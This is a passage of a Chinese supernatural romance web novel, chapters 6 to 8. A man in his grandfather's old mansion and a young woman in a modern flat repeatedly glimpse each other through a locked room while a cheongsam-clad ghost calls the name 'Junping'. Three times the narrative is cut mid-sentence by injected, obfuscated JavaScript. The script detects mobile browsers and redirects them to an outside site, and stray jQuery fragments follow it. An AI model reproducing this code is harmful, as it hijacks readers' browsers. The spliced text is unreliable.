“以前取名字都是要族里的长辈同意了才可以,例外的应该也有,并不多,只要能让那些长辈同意就可以。现在时代不一样了,也就没有那么多要求。” 居然真的有例外,那这个“君平”,会是谁呢?难道真的是他们许家的人? 如果这个“君平”不是他们家的人,那个女人又为什么会出现在那个房间里? 等到许忠林和宗叔都回房休息之后,许修远去了书房。 书房里有不少的旧相册,他仔细翻看了一遍,所有的照片里都没有出现一个和旗袍女人长相相似的。 目前他唯一能肯定的是,这个旗袍女人绝对不是自己的太奶奶。 放下相册,拿起族谱,查看太爷爷与爷爷同辈人的名字,没有出现“君平”两个字。 由于昨晚没睡好,再加上今天白天也没怎么休息,从书房出来之后就回了房间,很快入睡。 不知睡了多久,又是“砰”的一声。 许修远猛地被惊醒,翻身坐起,看了一眼手机,快要十二点了。 抬头望了望天花板,他决定再上去看看。 重新站在这个房间门口,昨晚发生的一幕幕又浮现在眼前。 他突然觉得有些可笑,自己为什么就一定非要再次上来呢?是为了证明自己看到的不是幻觉吗? 许修远闭了闭眼,深吸了一口气,转动门把。 房门打开的瞬间,入目的依然是那个女人的背影,她仍旧穿着那件浅色旗袍,正站在窗边,款款地转过身来,对着他盈盈一笑,不,确切地说,她不是对着他,因为她又叫了一声,“君平——” 随着这一声“君平”,余音还未散去,旗袍女人再次消失,眼前的画面又瞬间改天换地。 同样是那间现代化装修的房间,这次许修远居然看到一个女孩站在床边,露出扁平的小腹,正举着胳膊往上脱衣服,衣服把脸完全罩住了。 但许修远觉得,应该还是昨晚看到的那个女孩。 女孩似有所感,手上的动作蓦地顿住,迅速把衣服往下扯,随之而来的又是一声惊恐的尖叫。许修远正要转身关门,就看到她随手拿过床头柜上的什么东西,用力地砸了过来。 许修远一惊,迅速地关上了门。 余惊未消,可他还是发现了奇怪的地方。 他没有听到东西砸碰或落地的声音。 是幻觉吗? 可如果是幻觉的话,为什么会这么真实呢?真实到自己能看到她房间里的布局。 不是幻觉。 许修远觉得难以接受,自己二十多年来接受的唯物主义信仰突然见彻底被颠覆。 他几乎可以肯定,自己这是见鬼了。 那个穿旗袍的女人估计就是。 只是——那个现代女孩呢?她为什么和那个旗袍女人长得那么像呢?她是谁呢? 难道也是鬼魂? 不像。 她的反应很正常,像是人突然遇到危险时才会有的应激反应,确确实实和现实生活中遇到类似情况的人的反应一般无二。 可她如果不是鬼魂,又为什么突然会出现在这个房间里,紧接着又迅速消失呢? 对了—— 许修远再次将门把手下压,推开房门,果然如他所想,一切恢复原样,只剩一个无人的空房间。 他低头在门口处看了看,没有东西。 许修远只好将门重新关上并锁好,想了想,就当他打算再贴到门板上听一听里面会不会还会不会出现声音时,突然间,楼梯上传来急促的脚步声。 是老管家。 许修远迅速将钥匙放进了衣兜里,很快,老管家一脸苦恼地走到许修远面前,为难道:“小远,你怎么到这个房间来了?老爷子不让到这人来。” 许修远笑着解释道:“我听到了一些动静,所以上来看看。 老管家苦口婆心:“小远,赶紧去休息吧!这里头没什么,以后不要上来了。” 许修远嗯了一声,和老管家一起下了楼。 * 透过上衣,颜珺瑶隐约看到房门口出现一个身影。 心一下子跳到了嗓子眼,她迅速把衣服往下扯,眼前所见,差点使她心脏骤停。 居然又出现了。 昨晚那个年轻男人又出现了,穿着同样的睡衣,又站在了自己的房间门口。 “啊——” 她失声尖叫起来,随手抓起床头柜的一个东西,用力地砸了过去,那个男人于瞬间消失。 颜珺瑶大口地喘着气,不停地咽口水,浑身颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942926|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖着,一瞬不瞬地看着房门口。 如果昨晚还能用可能是幻觉来安慰自己,那今天她就没办法再自欺欺人。 她无比肯定,这个睡衣男一定不是人。 可他为什么在出现的那一刻,脸上仍是那么震惊,那么难以置信呢? 甚至在消失的前一瞬,竟然还转过了身,是因为害怕? 鬼,也会害怕人吗?而且还是在深夜的时候? 颜珺瑶慌忙地冲到房门口,开门跑了出去。 到了客厅,迅速开了大灯,整个人缩在沙发上,蜷手蜷脚地抱着抱枕,这才找回了一点安全感。 可渐渐地,她突然意识到什么,蓦地坐了起来。 有什么不太对劲的地方。 自己刚才随手扔过去的是什么东西来着?好像是那个天使水晶摆件,那可是瑜欣姐送自己的礼物。 咬咬牙,颜珺瑶鼓起勇气再次回到自己的房间。 门外肯定是没有的,而房间里,门口居然也没有。 不应该啊,自己一定是往这个方向扔过来了,东西怎么会找不到呢? 可接下来她找遍了整个房间,还是没有找到那个水晶摆件,东西确实不见了,而且还是凭空消失。 这——这怎么可能? 即使自己真的撞鬼了,鬼难道还能拿走东西吗? 颜珺瑶浑身的鸡皮疙瘩都起来了,头皮发炸,抱起床上的被子和枕头,再次跑出了房间,连灯都不敢关。 躺在沙发上,她不禁觉得自己有点悲催。 白天在外头跑了一天,忙得让她忘了昨晚的事情,也渐渐没那么恐惧了。等到下班回到家里,又想起自己的月度总结还没写,而今天是最后一天。吭哧吭哧地搞定了总结,终于可以洗澡睡觉。在洗澡的时候想起昨晚上看到睡衣男的事情,她还想呢,今晚要开着灯睡一晚,等过几天就不会觉得害怕了。 结果还真的是开灯睡觉,只不过不是在房间,而是在客厅,而且今晚的恐怖比之昨晚,有过之而无不及。 昨晚还好有老妈陪着自己睡,没有那么害怕,很快就睡着了—— 但昨晚老妈是因为恰巧晚睡,刚眯着没多久就被自己吵醒,而今晚老妈很早就睡了,这个点已经睡熟了,自己也不好再去敲门吵醒她。 明天还是回出租房那边吧,要是明晚再出现这种情况,搞不好又要吵到老妈,甚至是吓到她。最主要的是,这个睡衣男鬼好像是缠上了她,自己不住在家里,应该就不会影响到爸妈。 哎,自己果然是流年不利啊,怎么又撞邪了呢? 而且还是同一个鬼魂,找了自己两次,这是缠上她了? * 钱艺文起了个大早,一出房间猛地就吓了一跳。 客厅沙发上窝着一个人,被子盖的严严实实,只露出一头长发,乍一看怪渗人的。 除了她的闺女,没别人。这丫头好好的床不躺,怎么偏偏要睡在这里。 她忍不住摇摇头,叹了口气,出了门。 颜珺瑶因为昨晚的惊吓,一晚上没睡好,凌晨不知道几点的时候才勉强入睡,却陷入了梦魇中,无法脱身。不知何时,耳边出现嗡嗡嗡的噪声,不胜其烦。她用力摇头,试图甩掉这烦人的动静,突然她听到一道熟悉的声音,“瑶瑶,瑶瑶——” 是妈妈在叫她。 她倏地睁开眼,长舒一口气,终于从梦魇中挣扎出来了。 钱艺文担忧地看着她,“是不是做噩梦了?” “嗯,没事了——”颜珺瑶顶着一头乱发,有气无力地从沙发上坐起,瞥了一眼厨房的方向,哦,豆浆机正在工作。 老妈应该是怕吵到她,还贴心地把厨房的推拉门给关上了。 “怎么在这儿睡,你的床成精了,能咬你不成?” 颜珺瑶扒拉了一下头发,“差不多吧,我昨晚——” 刚开口,她却突然停下,幸好及时住了嘴,差点说漏了。 “昨晚怎么呢?” 颜珺瑶用力揉了下太阳穴,又往后躺倒,闭上眼睛无精打采地回道:“没事,我昨晚有点失眠,所以就到这儿看电视,看着看着就睡着了,忘了关灯。” 一听就没说实话,钱艺文笑道:“那我早上起来的时候电视怎么是关着的?” “……哦,我那个,定时了,到时间它可不就自动关了嘛!” “以后要是做噩梦了,就过来叫我,我陪你睡,别再窝在沙发上了,怎么能睡好!” “嗯——” “瑶瑶,上次妈妈跟你的说的,你要不要再考虑考虑?” “妈——”颜珺瑶撑开眼皮,“我的身体已经好了,偶尔生病很正常,就算是做其他工作,也有可能会生病,我暂时还不想换工作,再说了,我现在也有编制的。” 自从上次颜珺瑶反复发烧,钱艺文就有了让她换个工作的心思。大学的时候,她就要求闺女考了教师资格证,所以现在想让她去考个教编,或者是去考公,怎么着都不会有现在这么累。 无奈的是,颜珺瑶不同意,她很喜欢自己的工作。 钱艺文轻轻拍拍闺女的脸,“豆浆已经好了,快起来吃早点,再多赖会儿,估计就要来不及了。” 说完,就进了厨房滤豆浆。 颜珺瑶半死不活地离开了沙发,进洗手间洗脸刷牙,精神才稍稍得到缓解。 坐到餐桌前,闷了一口豆浆,拿起一个菜包子却没什么胃口,转而剥起了鸡蛋。 “妈,我那个房间以前是谁住的?” 7. 第 7 章 颜珺瑶要是没记错的话,家里的这套房子应该是二手房,在她三四岁的时候搬过来住到现在的。 昨晚那个睡衣男鬼—— 有没有可能是在他们一家人搬进来之前,在她的那个房间发生过什么事呢? “我们搬进来之后就只有你住过啊,你小时候一开始还不敢一个人睡,还是我陪着你的,忘记了?” 她记得,但她想问的不是这个。 “那之前呢?这套房子是从谁那里买的呢?” 钱艺文看了她两秒,“是不是因为昨晚做噩梦,所以就胡思乱想,觉得你自己的房间不干净?” 颜珺瑶自然不敢承认,赶紧否认,“没有,就只是好奇而已,好奇。” “年纪轻轻的,接受了这么多年的唯物主义教育,别疑神疑鬼,时间久了就变得神叨叨的,要是真有的话,那这个世界可不就乱套了。” 钱艺文家里算是书香世家,往上三代基本上都是老师,最不信的就是鬼神之说。 如果换做是平时,她可能就不再问了,但今天她真的是很想知道。 她撒娇道,“妈,你就告诉我嘛,算是满足我的好奇心吧!求你了,可爱的钱女士——” 钱艺文晲了她一眼,还是说道:“当初你爸单位分的房子太小了,不够住,他同事,就是高叔叔,他家一个亲戚正好要移民,所以介绍给你爸,这房子我们才买着了。” “那这个亲戚为什么移民呢?” 钱艺文想了想,随后摇摇头,“这就没细打听,只记得他们家几个都是高知,好像是在国外找到了更好的工作,所以就出去了。” 这听着怎么感觉上一个住户过得挺顺当呢,不像是发生了什么不好的事情的样子。 “他们家是这套房子最早的住户吗?” “嗯,他们家是第一批住进小区的,卖给我们的时候,这个房子还挺新的。” 颜珺瑶打破砂锅问到底,直接问道:“那他们家里在出国之前有没有出过什么事,比如——在这房子里——” “就不能盼点好的?”钱艺文作势要用筷子敲颜珺瑶的脑袋。 “哎呀——”颜珺瑶笑嘻嘻地躲开了老妈的攻势,将刚剥好的鸡蛋递给老妈。 钱艺文又瞪了她一眼,“买二手房肯定会打听这些的呀,谁都一样,我们家自然也不例外。你爸当年都问过了,人家家里好好的,啥事没有,要说有什么,那就是家里出的都是高材生,用你爷爷的话说,大概就是所谓的风水好吧!” 好像说得通,如果这里曾经真的出过什么事,在这样人多的小区住,一打听就能打听到的。而且要是真有什么事,不可能瞒的一个人都不知道。但自己家搬过来这么多年,也没听谁说过他们家房子有问题的。 由此看来,自己的房间应该是没发生过什么事情。 那自己碰上的那个睡衣男鬼—— 难道以前是小区的某位住户,离世之后一直在小区徘徊不去,所以找上她,帮他完成心愿? 可两次了,他一个字也没说啊! 总不能他是想要她主动去查出他的事吧? * 许家老宅。 许忠林刚起床,老管家就进了房间,把昨晚的事情告诉了他。 许忠林神色一凛,“他怎么会到那儿去,他进去过?他哪来的钥匙?” 宗叔摇头,“小远应该是没有进去,昨晚我去看了,钥匙还好好地放着。” 爷爷眉头不展,半晌才说道:“嗯,我知道了,我会处理的。赵先生那边,你再给他打个电话,让他尽快赶回来。” 昨天宗叔联系赵敬鸿,对方却被人请去了外地,一时半会儿没法过来。 宗叔点点头,离开了房间。 早餐时,许忠林突然对许修远说道:“我身体没什么事了,你今天就回去住吧,不用陪我了。” 许修远笑了笑,看了一眼一旁的宗叔,宗叔和他对视了一眼,笑容颇有几分尴尬。 他知道宗叔把昨晚的事情告诉了爷爷,不过他并不生气。宗叔在爷爷身边工作了几十年,现在也不年轻了,也没有退休的打算,一直留在爷爷身边照顾他。要说这个家里爷爷最信任谁,非宗叔莫属。 “嗯,我今天就回去。” 许修远瞥了一眼许修远,“你昨晚——大半夜的去那个房间做什么?” 嗯,终于进入正题了。 “我听到一些声音,所以上去看看。” 许忠林的眼角不禁抽动了两下,眉头死死皱着,“你听到什么声音?” “就是一些奇奇怪怪的声音,大概睡迷糊,听岔了。 爷爷,那里面放着什么。” 许忠林闻言,拿筷子的手顿住,脸上浮现怒意,“我不是说过了,那里面就是一些没用的杂物,没什么用,放着也就放着了。 许修远笑着给爷爷夹了个灌汤包,“既然是旧物,而且也没用了,怎么不处理掉?是古董吗?” 许忠林啪地一声将筷子重重放到桌上,“家里这么多房间,是怕不够住吗?还是你担心家里哪天没钱了,想变卖古董?” 许修远知道爷爷已经真的动怒了,不敢再试探,笑道:“您别动气,我就是好奇而已。” 一旁的老管家见状,忙帮腔道:“是啊,先生,小远您还不清楚嘛,从小到大好奇心就强,小时候每天都跟在您身后问这问那的,您那会儿还说这孩子长大了会读书,之后果然被您说中了。” 许修远看了看老管家,又看向爷爷,“您别生气,我不问了。” 许忠林顺了顺气,重新拿起筷子夹起了那个灌汤包。 * 秘书李娜挺着肚子,敲门进了许修远的办公室。 “许总,我已经把工作都交接给了杨薇,薇薇工作很认真,也很细心。” 许修远点点头,表示同意。李娜跟在他身边工作了挺长时间,他很相信李娜的工作能力,也相信她推荐的人。 李娜见没什么事情了,准备离开办公室的时候,许修远却又突然叫住她。 “许总还有什么事?” “你认不认识——”许修远顿了下,“比较靠谱的阴阳先生或神婆之类的人?” 李娜暗暗吃了一惊,她在许修远身边工作了这几年,一直知道他不信这些东西的,没想到他今天居然主动问起。 而且许总的表情很认真,不像是开玩笑,这—— 许修远见对方愣住,以为她不了解,于是笑道:“没事,不认识也没关系,我就是随口问问,你先去忙吧!” 李娜知道许修远是不会无缘无故突然问这些的,但她很有分寸,并没有好奇许修远打听这些的原因,左不过就是遇到了难以用科学解释的事情。 “我听说过一个老太太,好像姓严,据说是家传的能耐,很有本事,不过我没接触过,待会儿我把联系方式发给您。” “嗯,辛苦了。” 李娜并没有立即离开办公室,又说道:“许总,我觉得普陀寺还算灵验,我家里去过几次。” 说着,她轻轻拍了拍自己隆起的肚子,“当时是为了她去的。” 李娜之前出现过胎像不稳的情况,请过几次假,许修远也知道这件事,所以提前一个月让她回家休产假。 只是普陀寺—— 他倒是听过,但没去过。他唯一去过的寺庙就是龙景寺,小时候被爷爷带着去了几次。 李娜似乎猜出他在想什么,笑道:“您之前不太关注,应该不熟悉,我们这儿的普陀寺和龙景寺一样有名气,我也是听老一辈的人介绍,所以才去的。 龙景寺和普陀寺,您都可以去看看。” * 上午没有外出采访,但是颜珺瑶也没有太清闲,连着写了两篇材料,临近中午下班的时候才忙完。 于是便趁着这片刻的空闲,用关键词搜索了一下自家小区的往年新闻,确实找到了几条,死者为男性,且年纪小于三十五的只有两条。 四年前一个男学生因为学业压力跳楼自杀,事发时颜珺瑶还在上大学,之后也听说了这件事。不过这个年纪对不上,那个睡衣男鬼很明显不是高中生。 另一则新闻则是十五年前的,一个二十多岁的年轻男人,因为经济困窘,买不起房子,导致没能结成婚,一时想不开就吞了安眠药。 这个倒是有点可能,但关于死者更具体的信息则查不到。 傍晚下班,颜珺瑶回了自己的住处,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942927|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间将客厅所有的灯都打开了。 洗过澡,抱着笔记本电脑,盘腿坐到沙发上,本来想再上网搜搜关于自家小区的往年新闻,突然心念一动,而后登录了某度的贴吧,进入灵异区。 她将前两个晚上发生的事情详细地写了出来,帖子的最后一句话是,希望有哪位能人异士可以帮忙解答,感激不尽。 帖子发表了出去,她时不时地就要刷一下留言区,想看看会不会出现真正有用的建议。 网友的猎奇心理不容小觑,不到两个小时就有了不少留言,各种说法都有。 第一条留言便是:这也太奇怪了,如果这保真,那可真他妈是撞鬼了,楼主快去拜一拜! 立马就有人回复该网友:不奇怪就不会发在灵异区了。 底下另一条留言:靠,大晚上看得我有点瘆得慌,楼主确定不是在故意吓人吗? 有人提议:如果楼主画工过关,可以试着把你看到的人画下来,说不定有人认识呢! 楼下回复:同意楼上,说不定人还活着,或者只是你的幻觉! 有人跟楼:如果是幻觉的话,那消失的那个东西怎么解释? 往下又有人留言:我猜是个帅哥? 很快有人跟楼:我猜也是,感觉楼主是个写小说的,人鬼情未了? 紧接着很多人都跟着回复:同意,感觉像是写人鬼情的,有趣有趣,期待期待。 这条评论底下一群人起哄。 颜珺瑶看得有些恼火,有趣你个头,期待你个头,真是的! 底下出现了新的评论,她立即刷新,继续往下看。 十五楼:如果现实生活中真的存在这么个人,要是他已经没了,那楼主可能真的是见鬼了;要是他仍旧好好地活着,那我只能想到一种可能性,小时候看动画片的都知道,叮当猫的任意门,这太不科学了。 有人跟楼:见鬼你都说出来了,还有什么比这还不科学的吗?另外,你暴露年龄了,哈哈! 十八楼:难道是海市蜃楼? 十九楼:楼上的,想啥呢,到了晚上,太阳会躲进你家还是怎么的,海什么市,蜃什么楼啊,有点物理常识没有? 二十五楼:真有空间重叠这种事吗?好酷啊,羡慕楼主! 二十六楼:二十五楼怕不是有什么大病,羡慕?搁你身上你估计要被吓死了吧! 三十楼:楼主真的不是写小说的吗?被你说的我差点就信了,楼主就没有怀疑过自己精神有问题吗? 网友的回复不少,颜珺瑶每一条都扫过去,不知不觉已经快十二点了。 她狠狠地打了个呵欠,眼泪都出来了,看来自己是没有在网上遇上高人指点的好运。 哎—— * 晚上,许修远再次回到老宅,许忠林一看到他的车进了院子,眉头就皱了起来。 他板着脸,一脸的不欢迎。 “不是让你回去吗?怎么又过来了?” 许修远解释:“昨晚落了一些文件,所以就过来了,顺便和您吃个饭。” “小远——”宗叔在一旁忙接话,“你的东西我帮你放在卧室的桌子上了。” “辛苦宗叔了!” 晚饭过后,许忠林到院子里给花草浇水,时不时还要做些修剪,许修远在一旁陪着。 老宅的植物都有专人负责打理,但今天老爷子来了兴致,宗叔赶紧找出了工具。 许修远见爷爷一直打量着一株盆栽,适时地递过去一把剪子。 “爷爷,太爷爷的字,是不是君平?” 今天中午在公司的时候,他突然想起这幢老宅是在高祖父手上修建好的,之后就一直是他们家人住的,而太爷爷和爷爷一样,都是独子,那么最有可能和那个旗袍女人有关系的就是太爷爷或是高祖父。 至于君平这两个字,既然族谱上没找到,那就有可能不是名,而是字。 那个年代的人好文雅,很有可能会有字。 事实证明,他的猜测是正确的。 许忠林盯着自己刚刚修建过的绿植,点点头,脸上露出几分笑意,“是啊,君平是他的字。” 话音刚落,他转头看向许修远,“你怎么会知道他的字?” 8. 第 8 章 许修远接过爷爷手里的剪子,同时说道:“在书房翻书,无意中看到的,那里头的书除了我的,不是您和我爸的,应该就是太爷爷的。” 许忠林淡淡地嗯了一声,往不远处的桌子走去。 既然君平真的就是太爷爷,那那个女人和太爷爷又是什么关系呢? 前两个晚上,他所听到的,从旗袍女人口中叫出君平两个字,分明是婉转缱绻,含着无限爱意。 她是太爷爷娶的姨太太?还是——红颜知己? “那太奶奶怎么称呼太爷爷,是叫名还是字?” 许忠林在桌子前坐下,脱掉手套,端起杯子喝了口茶,这才说道:“叫名,你太奶奶接受过新式教育,讲究男女平等,不喜欢夫妻之间叫什么老爷太太的,你太爷爷也尊重她的想法。” “他们俩怎么认识的?” “自小定下的婚约,你太奶奶家和我们家是世交,门当户对,所以两家很定下了。” 许修远直觉,太爷爷和太奶奶的相处可能是相敬如宾,大概——不太相爱。 尽管两人共同孕育了三个孩子,两个双生的姑奶奶,还有爷爷。但那些旧相册里,太爷爷和太奶奶的两人合照屈指可数,少的可怜。 那个旗袍女人真的有可能是姨太太。 可如果真是如此的话,家里又为什么连一张她的照片都找不到呢? 爷爷这么多年一直对那个房间那么忌讳,难道是因为她吗? 许修远很想直接问问爷爷,但他知道爷爷的脾气,只能选择住口,不再就这个话题往下问。 * 许忠林回房前,不忘嘱咐许修远要早点休息,不要熬夜,但许修远当晚还是熬了夜。 他一直在等着夜深。 将近十二点的时候,他再次从那件大衣口袋里摸出了钥匙。关上柜门前,他又看了一眼大衣。 这件大衣是他小时候的,现在已经穿不上了,但大衣是奶奶在世的时候亲手做的,他一直留着作纪念。家里人也知道这件事,这么多年都没动过这件大衣。 幸亏小时候是把钥匙藏在了这件大衣里,否则钥匙估计早就没了。 关好衣柜,突然听到客厅有人在走动,而后是一声克制的咳嗽。 是宗叔。 许修远走出房间,宗叔看到他出来吃了一惊,“小远,你怎么——是不是我吵醒你了? “宗叔,您是不是生病了?我明天让家庭医生过来给您看看。” 宗叔脸上露出欣慰的笑容,“小远有心了,不过我这是老毛病,夜里总会咳一两声,没事的,吵到你了,快回去睡吧!” 许修远点点头,重新回到房间,直到整栋老宅子都没了动静,恢复寂静无声之时,他再次出了房门,蹑手蹑脚地到了三楼。 站在门口,他猛地发现今晚好像少了什么。 对,是那声极像椅子倒地的“砰”声。 他将耳朵贴到门板上,没有听到任何声音,想了想,还是用钥匙开了锁。 门刚一打开,许修远就感觉到腹部传来一阵痛感,像是被东西砸到,挨了一下。 下一刻,突然咚的一声,他低头一瞅,一下子愣住了。 是一个水晶摆件,掉落在地板上。 他俯身捡起来,边角的地方有些裂纹,他仔细瞧了下,发现摆件底部刻着一个英文名和一个日期。 脑子里随即闪过昨天晚上那个女孩曾朝他扔过来了一个东西的画面,难道扔的就是这个? 他深吸了一口气,抬眸向里望去,梳妆台,衣柜,西洋床,西式沙发等,只有这些哑声的家具。 没有那个穿旗袍的妩媚女人,也没有那个年轻的现代女孩。 许修远提步走了进去,仿佛误入了民国年间的女子闺房,梳妆台上都还放着那个年代的梳妆用品,房间里处处透露着女性的审美,装饰布置非常雅致。 驻足在衣柜前,他想起女人身上的那套旗袍。 会不会——就在这个衣柜里呢? 他的手还未挨上衣柜,门外忽然传来急促的脚步声,并伴着咳嗽声。 是宗叔。 许修远收回了手,刚走到门口,宗叔已经到了。 宗叔一把抓住许修远的胳膊,将他拉远了些,“小远,你怎么大半夜跑到这里来了?老爷子要是知道了肯定会生气的,快跟我下楼去!” 语气十分急切与慌张。 许修远不急不慢,“宗叔,我这就要下去了!” “你——你怎么会有这里的钥匙?” 知道瞒不过,许修远摊开掌心,“我上小学的时候偷偷配的,今晚无意中在抽屉里翻到了,就想着上来一趟,看看前几个晚上听到的声音是不是从这里传出的。” 宗叔眼皮跳了跳,拿过钥匙锁上了门,但并没有把钥匙还给许修远。 许修远也清楚,宗叔一定会把事情告诉爷爷,这个房间的锁势必马上就要被换。 “宗叔,这里头以前是谁住的?” “小远,我不清楚,老爷子也一再嘱咐,不让问。” “这里头以前住的是个女人,是家里人住的,还是只是客房呢?” 宗叔闻言,捂着嘴低头咳了好几声,催促他赶紧下楼。 许修远看出来了,宗叔今晚是不可能会说的,哪怕一个字。 算了,不说就不说吧! 他叹口气,下了楼。 接下来要头疼的是,明早如何应付爷爷。 * 如他所料,第二天早上,许忠林在餐桌上发火了。 “你昨晚看到什么了?” “爷爷,您别生气,我看那只不过是一件普通的房间而已,没什么特别的。您放心,我以后不进去了,钥匙我都给了宗叔。” 许忠林哼了一声,这才稍稍满意,松了口气,“看来是太闲了,还有心思成天好奇这好奇那的。有这时间,还不找个对象结婚,早点给我生个曾孙子才是正事!” “以后别回来了,我不需要你陪!” 许修远知道爷爷说的是气话,放下筷子,擦了擦嘴,笑道:“我这就上班去,今晚不过来了!” 许忠林挥手,不耐烦道:“快走,快走,看见你心烦的很!” 许修远一走,许忠林就没了胃口。 “这孩子看来没说实话,他一定是发现了什么,否则不会对那个房间这么好奇。昨晚你看了,那房间里有什么异常吗?” “没有,和上一次我打扫的时候一样。” “连着好几天,小远都说听到了声音,但只有他听到了——” 许忠林狠狠地闭了闭眼,“赵先生是今天回来吧,下午就派车请他过来。” 他现在只有小远了。 * 颜珺瑶提着水果和牛奶,敲响了洪阿姨家的门。 洪阿姨之前是居委会的,已经退休两年了,突然见到颜珺瑶上门有些意外。 简单问候过后,颜珺瑶就开门见山地对洪阿姨说,自己冒昧过来打扰,是想向她打听点事情。 “哎呀,说什么打扰不打扰的,太客气啦!”洪阿姨笑眯眯的,“你要打听什么呀?” “我是想问问我们小区这些年有没有出现过年轻——人死亡的情况,小于四十岁的那种。” 她在单位里查到的,和在网上查到的,基本上都差不多,但是并不是所有的这类事件都会上新闻,特别是早些年,媒体还没这么发达,有些事情不一定会被外界知道。洪阿姨在居委会工作了好些年,对于这些事情应该会比较了解,说不定还会认识那些已故的人。 “哎呀,你怎么突然要打听这个呢?” “哦,就是——”颜珺瑶提前想好了理由,“我们电视台想做个统计,进行对比分析,但有些这种情况外界并不知道,所以来问问您!” 这个理由——牵强的很,她说得都心虚。 “这样啊——”洪阿姨轻咳一声,似乎是相信了,“我想想啊,不一定都记得呀——” 接着洪阿姨一下子说了好几个,有男的也有女的,有自杀的,有因意外死亡的,也有病故的,其中那几个男的,几乎都可以排除。 “十七年前,是不是有个二十多岁的年轻人吞药自杀了?” 洪阿姨“啊”地一声,这才想了起来。 “对对对,是有这么件事,那个年轻人当时是租住在我们小区的,长得眉清目秀,也很有礼貌的,就是个子矮了点。谈了个女朋友,好像是因为买不起房子被分手,最后想不开,哎——这孩子很可怜,好像是孤儿,这么年轻就——” 颜珺瑶情不自禁点了点头,确实很可怜,也很可惜,如果当时能有人及时开导—— 等等—— 她的思绪一顿,洪阿姨刚才说了句什么来着? “阿姨,您刚才说他的个子不高是吗?” “对啊,估计跟我差不多吧,一米七左右吧!” * 离开洪阿姨家里,颜珺瑶不知道是该高兴,还是该发愁。 虽然洪阿姨不一定记得全,但她查了这几天,直觉得那个睡衣男鬼应该不是在小区内离世的。而且他看起来至少有一米八,也排除了十七年前出事的那个年轻人。 跑这一趟确实有收获,但现在—— 睡衣男鬼到底是谁?他还会再来找她吗? 这几天晚上倒是一切正常,可要是哪天他又凭空冒了出来,或是出现其他状况呢? 她正头疼着,手机响了,是闺蜜吴以晴打来的。 两人约了一起逛街,吴以晴提前到了,问她这边忙完了没有。 颜珺瑶赶紧打车去了中心商场,和吴以晴汇合。 有一段时间没见过面,正巧今天她休息,吴以晴因为要准备婚礼,也好长时间没怎么放松过,于是就把她叫了出来。 即使最近已经买了不少衣服,但进了商场,吴以晴还是燃起了熊熊的购物欲,也拉着颜珺瑶试了好几套。 两人颇有战果,吴以晴买了两条裙子,颜珺瑶也入手了一套衣服。 之后吴以晴又看中了两套情侣睡衣,很是心动,但价格超出她的接受范围,不过她没纠结多久就付了款。她的理由是,打算在度蜜月的时候和未婚夫一起穿,这么一想就觉得这钱花得值。 拎着袋子离开的时候,颜珺瑶的脑子里只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942928|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个字,贵。 不过她很快就看到了更贵的。 两个路过一个冷清的睡衣店时,吴以晴跟她科普,这个品牌专门做高端睡衣,顶级面料和独具一格的设计剪裁,穿上它,你就是奢华本奢,脑抽本抽。 颜珺瑶一问价格,不禁咋舌。她只想说,如果她一时脑抽买了一件穿到身上,这不是什么奢华本奢,而是虚荣本虚。 一件的价格,就顶得上她一个月工资。 怪不得这家店里面除了两名店员,基本没有顾客进去,普通人望而却步。 但总有好奇心重且胆子大的,比如吴以晴和颜珺瑶。 吴以晴有些许恶趣味,她想看看那两名店员碰上她们这样的普通人,会是什么样的态度,有没有网上说的那么夸张。 而颜珺瑶想要进去,则是因为她发现其中一套睡衣颇有几分眼熟。 她将这套眼熟的睡衣从架子上取了下来,立刻想起来,睡衣男鬼身上的衣服好像就是这一套! 深蓝色,翻领,左肩往下至左胸处有一丛竹子,竹子颜色较浅,在面料光泽的映衬下更加明显。 其中一名店员见状,上前热情地介绍道:“女士眼光真好,这套睡衣我们采用的是顶级面料,不仅质感好,柔软舒适,而且垂坠感和光泽也是看得见的,款式简洁优雅——” “这是什么时候的款式?” “女士,这是今年春季的新款。” “这一款买的人多吗?” “我们每一款都是限量的,不会很多。” “这个款式只有你们这家店有,还是其他店里也都有?” “都有的,女士。” 吴以晴靠了过来,拍了拍颜珺瑶的肩膀,提醒道:“现在换季了,要买也是买夏季——” 颜珺瑶回过神来,会心一笑,将衣服放回了原处,说了声谢谢就离开了。 “那里的店员蛮专业的,刚才还很用心地给介绍,不错不错,被她说的我差点想买了,幸好我及时护克制住了,保住了钱包——” “你说,我要是买了一套,成了他们的客户,他们能告诉我都有谁买了同一款吗?” “?”吴以晴有些懵,“你是疯了吗?” 她顿住,“嗯?你要查什么?” “哦,我开玩笑的。”颜珺瑶眨了眨眼,有些心不在焉。 